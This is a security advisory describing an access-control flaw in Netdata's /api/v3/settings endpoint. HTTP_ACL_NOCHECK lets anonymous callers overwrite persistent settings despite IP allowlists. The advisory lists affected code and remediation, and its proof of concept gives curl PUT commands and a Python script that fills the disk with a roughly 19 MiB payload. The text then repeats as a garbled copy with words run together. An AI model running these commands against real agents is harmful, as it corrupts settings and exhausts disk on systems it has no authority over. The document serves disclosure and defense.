Summary
The /api/v3/settings API endpoint is registered with HTTP_ACL_NOCHECK and HTTP_ACCESS_ANONYMOUS_DATA, allowing any remote unauthenticated caller to issue PUT requests that persistently overwrite the agent's settings storage regardless of operator-configured IP allowlists such as allow dashboard from. On agents with default bind configuration (port 19999 on all interfaces), this is exploitable from any network-reachable host with no credentials. Impact is persistent integrity and availability compromise of the settings store, with writes accepted up to approximately 20 MiB.
Details
Affected file: src/web/api/v3/web_api_v3.c
The settings endpoint is registered as:
{
.api = "settings",
.hash = 0,
.acl = HTTP_ACL_NOCHECK,
.access = HTTP_ACCESS_ANONYMOUS_DATA,
.callback = api_v3_settings,
.allow_subpaths = 0
},
HTTP_ACL_NOCHECK causes the web ACL layer to skip IP-based allowlist evaluation entirely for this route. Operators who configure allow dashboard from = localhost or similar restrictions believe they have locked down external access to the API, but HTTP_ACL_NOCHECK routes bypass that enforcement unconditionally.
Affected file: src/web/api/v3/api_v3_settings.c
The PUT handler accepts ?file=default, parses the request body as JSON, and writes it atomically to {varlib}/settings/default.json via rename. The version counter is incremented on every write. There is no authentication check, no CSRF protection, and no rate limiting in this handler. The daemon does not apply the settings file to collection or security policy — impact is scoped to persistent UI/dashboard preferences storage and disk exhaustion.
HTTP_ACL_NOCHECK endpoint inventory (complete, from web_api_v2.c and web_api_v3.c):
| Endpoint |
Version |
info |
v2, v3 |
progress |
v2, v3 |
claim |
v2, v3 |
versions |
v3 |
settings |
v3 |
stream_info |
v3 |
me |
v3 |
All of these bypass IP allowlist enforcement. The settings endpoint is the most impactful because it accepts state-modifying PUT requests from anonymous callers.
Note on claim: The claim endpoint is separately gated by a key that must match the filesystem-stored netdata_random_session_id — unauthenticated callers cannot re-home the agent. However, unauthenticated callers do receive informational responses including filesystem paths, sudo hints, and Docker invocation details regardless of allowlist configuration, constituting a recon surface.
PoC
# From any host that can reach TCP port 19999
# Works regardless of 'allow dashboard from' configuration
# Overwrite settings with arbitrary JSON
curl -s -X PUT \
"http://<netdata-agent>:19999/api/v3/settings?file=default" \
-H "Content-Type: application/json" \
-d '{"attacker": "controlled", "version": 999}'
# Confirm write persisted
curl -s "http://<netdata-agent>:19999/api/v3/settings?file=default"
# Disk exhaustion variant
python3 -c "
import urllib.request, json
payload = json.dumps({'x': 'A' * (19 * 1024 * 1024)}).encode()
req = urllib.request.Request(
'http://<netdata-agent>:19999/api/v3/settings?file=default',
data=payload,
method='PUT',
headers={'Content-Type': 'application/json'}
)
urllib.request.urlopen(req)
print('done')
"
Expected result: both requests succeed with HTTP 200, settings are persisted to {varlib}/settings/default.json, and the write is reflected on subsequent GET. No credentials, session, or IP allowlist exemption required.
Impact
Any network-reachable Netdata agent with default bind configuration is affected. Operators who believe IP allowlists protect their agent API have misleading assurance — HTTP_ACL_NOCHECK bypasses that control unconditionally for multiple endpoints including the settings PUT.
Actual impact:
- Persistent overwrite of UI/dashboard settings with attacker-controlled JSON, affecting all clients that subsequently load those settings
- Near-20 MiB disk writes per request with no rate limiting, enabling disk exhaustion on agents with constrained storage
- Version counter manipulation, potentially disrupting legitimate settings sync
The broader HTTP_ACL_NOCHECK pattern is a systemic defense-in-depth failure: operators configuring IP allowlists receive no warning that multiple endpoints remain unconditionally accessible to remote unauthenticated callers.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L — 5.3 Medium
CWE-284: Improper Access Control
Suggested Remediation
-
Remove HTTP_ACL_NOCHECK from the settings endpoint and apply appropriate ACL enforcement consistent with other state-modifying endpoints. If the dashboard frontend requires unauthenticated settings access for specific use cases, scope that to GET only.
-
Restrict PUT on ?file=default to authenticated callers with at minimum the same access level required for dashboard write operations.
-
Audit all HTTP_ACL_NOCHECK registrations and document explicitly which bypass IP allowlist enforcement by design, so operators can make informed decisions about network exposure.
Summary
The
/api/v3/settingsAPI endpoint is registered withHTTP_ACL_NOCHECKandHTTP_ACCESS_ANONYMOUS_DATA, allowing any remote unauthenticated caller to issue PUT requests that persistently overwrite the agent's settings storage regardless of operator-configured IP allowlists such asallow dashboard from. On agents with default bind configuration (port 19999 on all interfaces), this is exploitable from any network-reachable host with no credentials. Impact is persistent integrity and availability compromise of the settings store, with writes accepted up to approximately 20 MiB.Details
Affected file:
src/web/api/v3/web_api_v3.cThe settings endpoint is registered as:
{ .api = "settings", .hash = 0, .acl = HTTP_ACL_NOCHECK, .access = HTTP_ACCESS_ANONYMOUS_DATA, .callback = api_v3_settings, .allow_subpaths = 0 },HTTP_ACL_NOCHECKcauses the web ACL layer to skip IP-based allowlist evaluation entirely for this route. Operators who configureallow dashboard from = localhostor similar restrictions believe they have locked down external access to the API, butHTTP_ACL_NOCHECKroutes bypass that enforcement unconditionally.Affected file:
src/web/api/v3/api_v3_settings.cThe PUT handler accepts
?file=default, parses the request body as JSON, and writes it atomically to{varlib}/settings/default.jsonvia rename. The version counter is incremented on every write. There is no authentication check, no CSRF protection, and no rate limiting in this handler. The daemon does not apply the settings file to collection or security policy — impact is scoped to persistent UI/dashboard preferences storage and disk exhaustion.HTTP_ACL_NOCHECKendpoint inventory (complete, fromweb_api_v2.candweb_api_v3.c):infoprogressclaimversionssettingsstream_infomeAll of these bypass IP allowlist enforcement. The settings endpoint is the most impactful because it accepts state-modifying PUT requests from anonymous callers.
Note on
claim: The claim endpoint is separately gated by akeythat must match the filesystem-storednetdata_random_session_id— unauthenticated callers cannot re-home the agent. However, unauthenticated callers do receive informational responses including filesystem paths, sudo hints, and Docker invocation details regardless of allowlist configuration, constituting a recon surface.PoC
Expected result: both requests succeed with HTTP 200, settings are persisted to
{varlib}/settings/default.json, and the write is reflected on subsequent GET. No credentials, session, or IP allowlist exemption required.Impact
Any network-reachable Netdata agent with default bind configuration is affected. Operators who believe IP allowlists protect their agent API have misleading assurance —
HTTP_ACL_NOCHECKbypasses that control unconditionally for multiple endpoints including the settings PUT.Actual impact:
The broader
HTTP_ACL_NOCHECKpattern is a systemic defense-in-depth failure: operators configuring IP allowlists receive no warning that multiple endpoints remain unconditionally accessible to remote unauthenticated callers.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L — 5.3 Medium
CWE-284: Improper Access Control
Suggested Remediation
Remove
HTTP_ACL_NOCHECKfrom the settings endpoint and apply appropriate ACL enforcement consistent with other state-modifying endpoints. If the dashboard frontend requires unauthenticated settings access for specific use cases, scope that to GET only.Restrict PUT on
?file=defaultto authenticated callers with at minimum the same access level required for dashboard write operations.Audit all
HTTP_ACL_NOCHECKregistrations and document explicitly which bypass IP allowlist enforcement by design, so operators can make informed decisions about network exposure.